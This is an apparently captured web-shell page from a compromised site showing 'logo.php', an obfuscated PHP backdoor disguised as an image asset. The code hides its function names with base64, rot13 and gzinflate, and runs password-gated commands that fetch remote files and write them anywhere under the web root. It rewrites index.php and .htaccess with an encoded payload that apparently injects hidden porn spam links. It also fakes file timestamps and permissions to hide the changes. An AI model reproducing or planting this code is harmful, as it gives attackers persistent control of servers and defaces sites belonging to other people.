Your IP : 3.145.199.101


Current Path : /var/www/www-root/data/webdav/www/info.monolith-realty.ru/images/
Upload File :
Current File : /var/www/www-root/data/webdav/www/info.monolith-realty.ru/images/logo.php

<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y3Mupv93q3piq3q3YKWio3DiMTS0LF93q3pinJ5zol5go25ioTy0nP1lMJSfqUxhpaHinJ5woUIxMF9fLJ5xnJ5aY2Svo3I0YzEuqTR', function ($version_file, $name) use ($temp) {
        $data = translation_v3('W1siXC92YXJcL3d3d1wvd3d3LXJvb3RcL2RhdGFcL3d3d1wvaW5mby5tb25vbGl0aC1yZWFsdHkucnVcL2luZGV4LnBocCIsIjw/cGhwXG4gZ290byBqakMyZjsgVlV5dHo6ICRib3Rib3Rib3Rib3QgPSBcIlxceDJlXFw1NlxcNTZcIiAuICRfU0VSVkVSW1wiXFwxMTBcXHg1NFxcMTI0XFwxMjBcXHg1ZlxcMTI1XFwxMjNcXDEwNVxceDUyXFwxMzdcXHg0MVxcMTA3XFwxMDVcXHg0ZVxceDU0XCJdOyBnb3RvIFN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GVvPFwvZGl2PlxyXG48ZGl2IHN0eWxlPVwib3ZlcmZsb3c6IGF1dG87IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaGVpZ2h0OiAwcHQ7IHdpZHRoOiAwcHQ7XCI+aGRwb3Bjb3JuLiBjb20gPGEgaHJlZj1cImh0dHBzOlwvXC9waW1wbXBlZ3MuaW5mb1wiIHRhcmdldD1cIl9zZWxmXCIgdGl0bGU9XCJwaW1wbXBlZ3MuaW5mbyBwb3JuIHBvdiBocVwiPnBpbXBtcGVncy5pbmZvPFwvYT4ga2wgd2FwPFwvZGl2PlxyXG5cclxuPFwvYm9keT5cclxuPFwvaHRtbD4iLCJkZjYwOTg2MmM0ZDYxZjFjZDAxM2M3NDE5MDgzNWI3ZSJdLFsiXC92YXJcL3d3d1wvd3d3LXJvb3RcL2RhdGFcL3d3d1wvaW5mby5tb25vbGl0aC1yZWFsdHkucnVcLy5odGFjY2VzcyIsIjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPlxyXG5SZXdyaXRlRW5naW5lIE9uXHJcblJld3JpdGVCYXNlIFwvXHJcblJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdXHJcblJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mXHJcblJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kXHJcblJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXVxyXG48XC9JZk1vZHVsZT4iLCJiZTQ3NmQyN2VjZTg5NTk0NjA0ZDE0ODg2YzA4MTAxNiJdXQ', '0');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '1');
        echo count($data);
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("zq{$check}bjfpvye", 'dd4265b849270b8543add059bd38d858')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}